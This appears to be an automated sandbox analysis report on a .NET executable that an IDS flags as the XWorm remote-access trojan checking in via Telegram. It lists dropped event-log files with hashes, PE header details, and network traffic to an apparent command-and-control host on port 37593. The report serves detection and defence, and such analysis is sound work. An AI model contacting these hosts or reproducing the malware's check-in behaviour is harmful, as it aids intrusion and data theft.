SHA-512:	2B9784678702654E8FA65456A501F9F6B48ABD575EE58264709A97FFF9C38C26C7A6ED9057278E1A090BBB4BD2F88FBC95E636D9DEE509142B67B4D81FBAB5A1
Malicious:	false
Preview:	ElfChnk......................................'...(..'.D........................................................................R................L.......................t...=...........................................................................................................................f...............?...........................m...................M...F...............................................K...........................................%...............&.......................................**.................Hf..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7112352075765392
Encrypted:	false
SSDEEP:	192:BV7VDiDL/bDiDwTDiDHDiDDDiDSDiD8DiDkDiD0DiDEDiDMDiDMDiDMDiD:BhV2nT2UT272/2+2w2g2w2I2o2A2I2
MD5:	5D63AFB3EA60A7655FF95B4DB1B451E0
SHA1:	B5D236316CC6617071D83D7E1B4367DDA1A889B1
SHA-256:	815D1AE9187ED88319DDCD4F95D544E3B4FC3D12E2BF9A0DFD30441819089010
SHA-512:	C00665A8527B92BB677696119894947DA47603CD1168B3536E7317E8D82C1A3563D50612C4AEF5BDEE75D491AEC97F8AB543F5FA1EB5E4080E7B1D8A55FE57E6
Malicious:	false
Preview:	ElfChnk.............................................u.=k....................................................................Z}#.................N.......................v...=...........................................................................................................................f...............?...........................m...................M...F...............................'...........................................................................&.......................................**.................sf..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WER-PayloadHealth%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 9, DIRTY
Category:	modified
Size (bytes):	69632
Entropy (8bit):	1.2795587664007206
Encrypted:	false
SSDEEP:	768:hvEpP9JcY6+g4+Ga6oNpk13xIb13xIb13xIt13xI:hspP9JcY6+g4+Ga6
MD5:	74C75C1A7AD30A72673CE68DF4ECEA9C
SHA1:	D72DA4125E29E8DB01101F932A48528BC5D24A82
SHA-256:	BD11DE7F5F91AE7AB356FAB0851D01F1DC58493D274A5BAB344C8A98AA29AF8A
SHA-512:	9688749CFE35FB56C7A072B73F50EE84394B8177443E4BD47B27AFD991AA78BD91E806AC6F5BDD5C79699FCD9A00B11E1316C7596AFD868C4B3E9A662E8343D3
Malicious:	false
Preview:	ElfFile.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	83072
Entropy (8bit):	4.353520935938755
Encrypted:	false
SSDEEP:	384:U8RHRRwZhlR0CsRNHSRDR0mRpyR2R5MRZ2RHRpPRFrRXVRcrRb8RWRrR4QRSRQUQ:UwwZiFE3NI538LMKwZiFU
MD5:	7614591D5943EF819B01F33730B572F8
SHA1:	3FE0E0ED6FC0DA4D1A1F3D6A5565DFD9057CBAC8
SHA-256:	7B62ACBA99217024237A45C230D9CE2560B3955DA1EC307431C27FBE3E865C0F
SHA-512:	323D1A68EBE67697E83E2E166E8D6AF53C971079043185FFBA2C0D470A07EE8E6488AB4D98274DE13992BB5C47D1FF586B39033F86956D79C4DC687E2688079D
Malicious:	false
Preview:	ElfChnk.J.......S.......J.......S...........@1..04..Y......................................................................'k5.....................C.......Q............#..=........................................+..d...................."...#...........................................#......(...f...+...........?....................... .......................M...F........#......L#..............................&...........................................................q+...........................................R.......>lq.QN.........'.z&...............................................................<.......T...-.!................@>lq.QN..u...ex.M...............R....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y.......#F.~.J.{..M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y./.O.p.e.r.a.t.i.o.n.a.l.................................P.r.o.t.e.c.t.i.o.n.M.a.n.a.g.e.m.e.n.t.......w.m.i.p.r.v.s.e...e.x.e.......".%.P.r.o.g.r.a.m.D.a.t.a.%.\.M.i.c

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.282820835556058
Encrypted:	false
SSDEEP:	384:chOhpuhdh+h9hthXhzh8cghshqh9hihXhMhxhzhwhohGh5h3hShChWhzhLhahYhr:cQsFpkBc1S
MD5:	7DB7567819F7CFC6955126B8306826E6
SHA1:	45CCB1C41CA1C6E1384207444A8B84437408DF1A
SHA-256:	0DDCE2B5ADFAAB4EF8A1686D0064B8CCFF43B1D3C93893A62EF07B7FB896E8E5
SHA-512:	FF5F662885580210B522215F56FD29417B6555F0878610D44D8F798E044876F99F86C5FF688BB77C92B894368E5DF32130B52BFE37401BACD3305B63463A2394
Malicious:	false
Preview:	ElfChnk.........................................P.....Q................................................................................................................:...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&...............!.......................**...............k..f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WebAuthN%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.232783163157918
Encrypted:	false
SSDEEP:	384:ZhOVPiVcVCVC7VNVtVEV3Vob7V5VXVmVbVoV/VEVptVtVBVnVOVMV3VJmVhpVEVA:Zyjbj
MD5:	71A005B17A2D32C10709277023D447E6
SHA1:	14754F04007D539159F75D62AACC6A282CAA8D54
SHA-256:	6E220C6CCBB76AEE639EDFCC6204C80EEC9FA1CCE0AC40EE4B821AF3AC27887B
SHA-512:	BC3533B3DEF1BC8B7D990700CA573EFF57D05C4E72DF2BB536247466D5FE9EB5DFE6F2EC18F02C808449F998AC00E26E920E3984B4E8367F8E9AF188BD1D9518
Malicious:	false
Preview:	ElfChnk.........!...............!............7..`8...).....................................................................Ce.~................&...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................v................................................+......................................**..P...........y................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.213072277113163
Encrypted:	false
SSDEEP:	384:whZBwBjsrBwBhBwBj4BwB6p+/4WBwBQ/cBwBjQNqObx13ABwBqhdBwBQ/LQBwBQX:wOsc6QNqObxnyS3qes
MD5:	F334D4BB0C79B0D18FB3CB3892E3D8CE
SHA1:	4DC3402CD38BDB2639693C2F2A2F676DF2AD5911
SHA-256:	8844AAF909AA1BD96605F7B0CDE3459B47228CB828D8B679CF6FB8EF576C4A1C
SHA-512:	D50767906323578043A3D6863AADFB72DD2ACF435DC879E07D74B7583F6CCDB430A940F1750AC343C9287AFFAF8D4E830BE7E71358B474E6B8DB870C8AB3457F
Malicious:	false
Preview:	ElfChnk.^.......m.......^.......m...........@;..p>.....i......................................................................9.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................g...............................................................................&.......................................**.. ...^...........f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Winlogon%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.414298413407747
Encrypted:	false
SSDEEP:	384:3thQUE2UEFUE5UEKUEODUEzUEFUEsUE/UEGUE6UEWUE9UEtUEBUE8UEGUEuUE5UD:9w/RPoP6e
MD5:	77D9AFD001F6BBD592C19652D671FEA3
SHA1:	B87EA73299713B00D44A123C4B48636957EA90CE
SHA-256:	E25E174DE18D3B90B5EBC3C394A7C6BFC34F3E27FB260758BC8CB135E4D45770
SHA-512:	C81A545351015315060E812535A43C97A0FCBC2F49AA2034B50F963839F7F7DC1BC16EF070D5FF951E5FE82A9B315E8EFC20470707FD8C995A932E44369845E8
Malicious:	false
Preview:	ElfChnk.........................................8...,..t......................................................................>.......................................R...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................&.......................................*..............._..f..........Z..&........Z.. ..Z...`............A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Security.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	96528
Entropy (8bit):	4.327251587633544
Encrypted:	false
SSDEEP:	384:sHFRuHFReTjoNSg0PtocChoLu60zCwySonMt0SoHMtoLoHMtaoDoH5OD0obO9ZoI:sl8lwFj0Dyid9s5AryVpxy/2sV
MD5:	8EBB546B814A9855225FC9BACDF7094F
SHA1:	EB1D89C6571ED7E5EA78D879D70D31B02C63952D
SHA-256:	8C3F47E99BF82C008C8596DC15D7E33F4BABF06AEB258C96CFA530E49AA8572F
SHA-512:	87E0355DADB5EACF949A6EAB1E9A908BDD68377E3FC3339145862AD79F76EC850CA541B97D428B6723072B69C47323E72DE083A0B2D9CBE4F5286AB90A6794F1
Malicious:	false
Preview:	ElfChnk......................................... ............................................................................P.~....................s...h...............N...=...................................................N...............................................w.......6......................./...................................]...........).......M...T...:...............................................................................................................&...............................*.. ............~5.QN...........&.........*.9.LS5..f....A.......A..5...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....^...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\System.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	75640
Entropy (8bit):	4.381752856539519
Encrypted:	false
SSDEEP:	768:GqQqk0TXMo46/iP6f/uwu3hpRKe+PH+YekyqCcvU:zVk0TXMFfP6ipMPZdnvU
MD5:	7B19C67BA47E63F7744110C23B806565
SHA1:	2B8672FF5816044298689B4C1A7F6DBA2447729A
SHA-256:	2A4949615C1321646119DBCC46799F3C63E06CFAC5457677FEB7E74675B7443E
SHA-512:	A501552AB23C398E64A97CFD9EF1191FCCF781C2BEA3C1CF705997532E8C835977E04383EA352598B75AEAF4451AF38FC8F1C889534E6E57F895D0BADA5D4EA2
Malicious:	false
Preview:	ElfChnk..............................................7.......................................................................zSy....................s...h...............N...=...................................................N...............................................w.......2.......................G...................................Y...........).......M...5...:........................................................................................................... ...........................&.......**...............~5.QN.........#m.&........#m...].N.I.P.=.......A..1...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....Z...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	188472
Entropy (8bit):	3.8846887556551284
Encrypted:	false
SSDEEP:	3072:kNKuZNKufNKubNKuZNKufNKuugNKuMNKuZNKufNKuk:kNKuZNKufNKubNKuZNKufNKuugNKuMNm
MD5:	08321C39857863DC7EF390B859E1AF97
SHA1:	AB0B6BC0AD6F44737EE86AA5EB7E6228B44CB721
SHA-256:	AECF68FDF4289CB34325FF1F2C71AEB8467ADC3EA3DB39EA1DC974B89354F22B
SHA-512:	6F5120D46E605AA9E31D6C7500725014D06ACD593BF88259C30F833DD58638363CDCE39E3EC1844C7AA9EAF056D25356B0AAFAAF0C8A8B90E85F3C575A88248B
Malicious:	false
Preview:	ElfChnk.................n.......x.....................z.....................................................................FK,.............................................=..........................................................................................................................._...............8...........................f...................M...c...........................p...............&.......................................................................................................**...2..n.......2...QN........!j..&.......!j....:Tc`.)..h........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..R............{..P.r.o.v.i.d.e.r.../....=.......K...N.a.m.e.......P.o.w.e.r.S.h.e.l.l..A..M...s........a..E.v.e.n.t.I.D...'............)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n............

C:\Windows\Temp\__PSScriptPolicyTest_eco4jnsl.5iq.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_j21buhlf.5pf.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.973935549231534
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	RdLfpZY5A9.exe
File size:	265'216 bytes
MD5:	28db4677dcbbaa0a4c5adbc02c9da4f3
SHA1:	e1f0199ed131a90e25204399e4e876da64ea3ba5
SHA256:	b871ed20d46a9be3a4aedb5facad152ab24289b6866076cb7ffc59721ca7525c
SHA512:	718ad88f930160a83c59d9f73d41cf4ea76de3c929956bffb618631d6450b7f59d4b2eb62afa59eff29461b256c402d387df9fdadee9a1a9d1b5e65cea45de52
SSDEEP:	6144:ByHp/aGMFlSShM00Iyew/2xrvhwCS9KSyiIBov:IJ/pFJIyN/2RbhHiIS
TLSH:	E444123881DC5C93CA564BF9347A9C127F398DE6F21C9FF929222553F1E227A4488F94
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....q]g.............................!... ...@....@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4421ce
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x675D711D [Sat Dec 14 11:50:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x42174	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x44000	0x4ce	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x46000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x401d4	0x40200	0f0ad1a44d58882aed587e4e81730f62	False	0.9713503594054581	data	7.986577451006427	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x44000	0x4ce	0x600	97fe92f1710620c82597ccb0684cb38f	False	0.3736979166666667	data	3.7224629505992812	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x46000	0xc	0x200	0e49f11adc885d635a91fc5b658a7bcb	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x440a0	0x244	data			0.4706896551724138
RT_MANIFEST	0x442e4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-14T18:53:48.901505+0100	2853685	ETPRO MALWARE Win32/XWorm Checkin via Telegram	1	192.168.2.8	49713	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 14, 2024 18:53:05.484108925 CET	49706	80	192.168.2.8	208.95.112.1
Dec 14, 2024 18:53:05.717952013 CET	80	49706	208.95.112.1	192.168.2.8
Dec 14, 2024 18:53:05.718074083 CET	49706	80	192.168.2.8	208.95.112.1
Dec 14, 2024 18:53:05.718446970 CET	49706	80	192.168.2.8	208.95.112.1
Dec 14, 2024 18:53:05.968172073 CET	80	49706	208.95.112.1	192.168.2.8
Dec 14, 2024 18:53:06.891259909 CET	80	49706	208.95.112.1	192.168.2.8
Dec 14, 2024 18:53:06.935940981 CET	49706	80	192.168.2.8	208.95.112.1
Dec 14, 2024 18:53:44.547848940 CET	49712	443	192.168.2.8	104.20.4.235
Dec 14, 2024 18:53:44.547914028 CET	443	49712	104.20.4.235	192.168.2.8
Dec 14, 2024 18:53:44.548022985 CET	49712	443	192.168.2.8	104.20.4.235
Dec 14, 2024 18:53:44.561868906 CET	49712	443	192.168.2.8	104.20.4.235
Dec 14, 2024 18:53:44.561908960 CET	443	49712	104.20.4.235	192.168.2.8
Dec 14, 2024 18:53:45.990319967 CET	443	49712	104.20.4.235	192.168.2.8
Dec 14, 2024 18:53:45.990396976 CET	49712	443	192.168.2.8	104.20.4.235
Dec 14, 2024 18:53:45.993307114 CET	49712	443	192.168.2.8	104.20.4.235
Dec 14, 2024 18:53:45.993330956 CET	443	49712	104.20.4.235	192.168.2.8
Dec 14, 2024 18:53:45.993613005 CET	443	49712	104.20.4.235	192.168.2.8
Dec 14, 2024 18:53:46.044517994 CET	49712	443	192.168.2.8	104.20.4.235
Dec 14, 2024 18:53:46.065155029 CET	49712	443	192.168.2.8	104.20.4.235
Dec 14, 2024 18:53:46.107337952 CET	443	49712	104.20.4.235	192.168.2.8
Dec 14, 2024 18:53:46.629992962 CET	443	49712	104.20.4.235	192.168.2.8
Dec 14, 2024 18:53:46.630079985 CET	443	49712	104.20.4.235	192.168.2.8
Dec 14, 2024 18:53:46.630141020 CET	49712	443	192.168.2.8	104.20.4.235
Dec 14, 2024 18:53:46.637672901 CET	49712	443	192.168.2.8	104.20.4.235
Dec 14, 2024 18:53:46.723735094 CET	49706	80	192.168.2.8	208.95.112.1
Dec 14, 2024 18:53:46.847148895 CET	80	49706	208.95.112.1	192.168.2.8
Dec 14, 2024 18:53:46.847260952 CET	49706	80	192.168.2.8	208.95.112.1
Dec 14, 2024 18:53:46.867901087 CET	49713	443	192.168.2.8	149.154.167.220
Dec 14, 2024 18:53:46.867940903 CET	443	49713	149.154.167.220	192.168.2.8
Dec 14, 2024 18:53:46.868041039 CET	49713	443	192.168.2.8	149.154.167.220
Dec 14, 2024 18:53:46.868441105 CET	49713	443	192.168.2.8	149.154.167.220
Dec 14, 2024 18:53:46.868453026 CET	443	49713	149.154.167.220	192.168.2.8
Dec 14, 2024 18:53:48.273089886 CET	443	49713	149.154.167.220	192.168.2.8
Dec 14, 2024 18:53:48.273178101 CET	49713	443	192.168.2.8	149.154.167.220
Dec 14, 2024 18:53:48.275974035 CET	49713	443	192.168.2.8	149.154.167.220
Dec 14, 2024 18:53:48.275986910 CET	443	49713	149.154.167.220	192.168.2.8
Dec 14, 2024 18:53:48.276390076 CET	443	49713	149.154.167.220	192.168.2.8
Dec 14, 2024 18:53:48.277602911 CET	49713	443	192.168.2.8	149.154.167.220
Dec 14, 2024 18:53:48.319344044 CET	443	49713	149.154.167.220	192.168.2.8
Dec 14, 2024 18:53:48.901490927 CET	443	49713	149.154.167.220	192.168.2.8
Dec 14, 2024 18:53:48.901576042 CET	443	49713	149.154.167.220	192.168.2.8
Dec 14, 2024 18:53:48.901678085 CET	49713	443	192.168.2.8	149.154.167.220
Dec 14, 2024 18:53:48.928366899 CET	49713	443	192.168.2.8	149.154.167.220
Dec 14, 2024 18:53:53.019896984 CET	49716	37593	192.168.2.8	115.69.183.222
Dec 14, 2024 18:53:53.139832973 CET	37593	49716	115.69.183.222	192.168.2.8
Dec 14, 2024 18:53:53.140047073 CET	49716	37593	192.168.2.8	115.69.183.222
Dec 14, 2024 18:53:53.175239086 CET	49716	37593	192.168.2.8	115.69.183.222
Dec 14, 2024 18:53:53.295027971 CET	37593	49716	115.69.183.222	192.168.2.8
Dec 14, 2024 18:54:06.347419977 CET	49716	37593	192.168.2.8	115.69.183.222
Dec 14, 2024 18:54:06.472956896 CET	37593	49716	115.69.183.222	192.168.2.8
Dec 14, 2024 18:54:15.043304920 CET	37593	49716	115.69.183.222	192.168.2.8
Dec 14, 2024 18:54:15.043384075 CET	49716	37593	192.168.2.8	115.69.183.222
Dec 14, 2024 18:54:25.484091997 CET	49716	37593	192.168.2.8	115.69.183.222
Dec 14, 2024 18:54:25.597511053 CET	49718	37593	192.168.2.8	115.69.183.222
Dec 14, 2024 18:54:25.604228020 CET	37593	49716	115.69.183.222	192.168.2.8
